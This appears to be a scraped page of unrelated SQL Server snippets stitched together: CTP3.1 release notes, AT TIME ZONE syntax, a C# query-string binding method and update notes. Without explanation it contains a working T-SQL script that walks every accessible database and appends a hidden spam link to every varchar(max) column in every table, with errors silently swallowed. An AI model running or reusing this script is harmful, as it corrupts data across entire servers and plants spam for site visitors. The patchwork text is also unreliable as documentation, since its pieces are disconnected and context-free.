New In-Memory OLTP improvements in CTP3.1 include:

• Unique indexes in memory-optimized tables, to complement the support for unique constraints that was released in CTP3
• LOB data types varchar(max), nvarchar(max), and varbinary(max) in memory-optimized tables and natively compiled modules
• Indexes with NULLable key columns in memory-optimized tables

Syntax inputdate AT TIME ZONE timezone.

• Inputdate: An expression that can be resolved to a smalldatetime, datetime, datetime2, or datetimeoffset value.
• Timezone: Name of the destination time zone in standard format as enumerated by Windows. Available time zones can be found by querying sys.time_zone_info.
  

SQL Server Analysis Services (SSAS) updates allow upgrading your existing models to 1200 compatibility level and a JSON editor for SSDT;

 public T GetFromQueryString<T>(RequestType type=RequestType.GET) where T : new()
        {
            var obj = new T();
            var properties = typeof(T).GetProperties();

            var queries =new NameValueCollection();
            if(type==RequestType.GET)
                queries= HttpContext.Current.Request.QueryString;
            else
            {
                queries = HttpContext.Current.Request.Form;
            }

            foreach (var property in properties)
            {
                foreach (Attribute attribute in property.GetCustomAttributes(true))
                {
                    var requestBodyField = attribute as RequestBodyField; 
                    if (requestBodyField == null) continue;

                    //get value of query string
                    var valueAsString = queries[requestBodyField.Field];

                    if (valueAsString == null)
                    {
                        var keys = from key in queries.AllKeys where key.StartsWith(requestBodyField.Field) select key;

                        if(!keys.Any())
                            continue;

                        var collection = new NameValueCollection();

                        foreach (var key in keys)
                        {
                            var openBraketIndex = key.IndexOf("[", StringComparison.Ordinal);
                            var closeBraketIndex = key.IndexOf("]", StringComparison.Ordinal);

                            if (openBraketIndex < 0 || closeBraketIndex < 0)
                                throw new Exception("query string is crupted.");

                            openBraketIndex++;
                            //get key in [...]
                            var fieldName = key.Substring(openBraketIndex, closeBraketIndex - openBraketIndex);
                            collection.Add(fieldName, queries[key]);
                        }
                        property.SetValue(obj, collection, null);
                        continue;
                    }

                    var converter = TypeDescriptor.GetConverter(property.PropertyType);
                    var value = converter.ConvertFrom(valueAsString);

                    if (value == null)
                        continue;

                    property.SetValue(obj, value, null);
                }
            }
            return obj;
        }

Indirect Checkpoints is not just about predictable recovery, it enables SQL Server to scale and run faster 

DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;

This update contains fixes for issues that were fixed after the release of SQL Server 2016 RTM.